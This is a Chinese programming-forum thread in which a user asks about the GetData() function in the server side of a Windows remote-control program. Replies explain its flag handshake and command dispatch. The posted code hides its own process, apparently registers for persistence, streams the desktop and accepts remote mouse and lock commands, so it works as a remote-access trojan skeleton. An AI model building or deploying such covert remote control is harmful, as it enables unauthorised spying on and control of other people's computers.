这是一个远程控制server端的代码,我不明白其中的GetData()函数的意思。
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{ MSG msg;
//Register
Register();
//Hide in Process
HideProcess();
//Initialization Winsock
if (!InISock())
return 0;
//Connect Winsock
if (!ConnectSock())
return 0;
//GetData
while(true)
{
//AcceptData
if (!AcceptData())
{
WSACleanup();
exit(1);
} //GetMesage
if(!GetData())
{
                     ...
                   }
//下面是GetData()的实现代码
BOOL GetData()
{
//Define Variable
int iMsg,length;
POINT point;
int FALG;
//Send Falg
FALG = US_FLAG;
send(NewSock,(char*)&FALG,sizeof(FALG)+1,MSG_OOB); //send什么?? //Get Message
length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);
if (length < 0)
{
//Close Sock
closesocket(NewSock);
closesocket(ClientSock);
return FALSE;
}

//GetMessageData
if (iMsg < 4500) //MouseEvent
{
send(NewSock,(char*)&SysWidth,sizeof(SysWidth)+1,MSG_OOB);
send(NewSock,(char*)&SysHeight,sizeof(SysHeight)+1,MSG_OOB);
point = GetMousePoint();
}
switch(iMsg)
{
case US_DESKTOPBIT:         //SendDesktopBitmap
SendDesktop();
break;
case US_MOUSEMOVE: //MouseMove
MouseMove(point);
break;
case US_MOUSELD: //MouseLeftDown
MouseLD(point);
break;
case US_MOUSELU: //MouseLeftUp
MouseLU(point);
    break;
case US_MOUSERD: //MouseRightDown
MouseRD(point);
break;
case US_MOUSERU: //MouseRightUp
MouseRU(point);
    break;
case US_LOCK:
SysEvent(US_LOCK);
break;
case US_UNLOCK:
SysEvent(US_UNLOCK);
break;
}
return TRUE;
}我不知道为什么GetData()中既有send,还有receive()这是为什么,而且send发送的内容是什么?请给予解释啊。

解决方案 »

  1.   

    这个程序好像不完整NewSock分明就是凭空产生的。把完整的放上来才好说。
      

  2.   

    果然是星辰的代码。
    注意另一端的代码,例如:
    //CONNECT
    CONNECT = ConnectSock();
    if (!CONNECT)
    MessageBox(0,"connect err",
    "err",MB_OK|MB_APPLMODAL); //Accept Flag
    recv(ServerSock,(char*)&Flag,sizeof(Flag)+1,0);
    if (Flag == US_FLAG)
    {
    //Send MouseMove
    send(ServerSock,(char*)&Msg,sizeof(Msg)+1,MSG_OOB);
    }
    你的代码每一次动作的发生都会建立一次连接,然后发送数据,这个US_FLAG在两端都有定义:
    #define US_FLAG        9999
    这个特殊的数值,当你的Client(SockServer)接收到他时,证明Server(SockClient)连接成功,并做好了数据收发的准备了。接下来Client会发送一个Msg,指明要Server做什么操作,Server端
    //Get Message
    length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);
    对Msg进行判断,不同的Msg做不同的处理,这就是GetData的用途。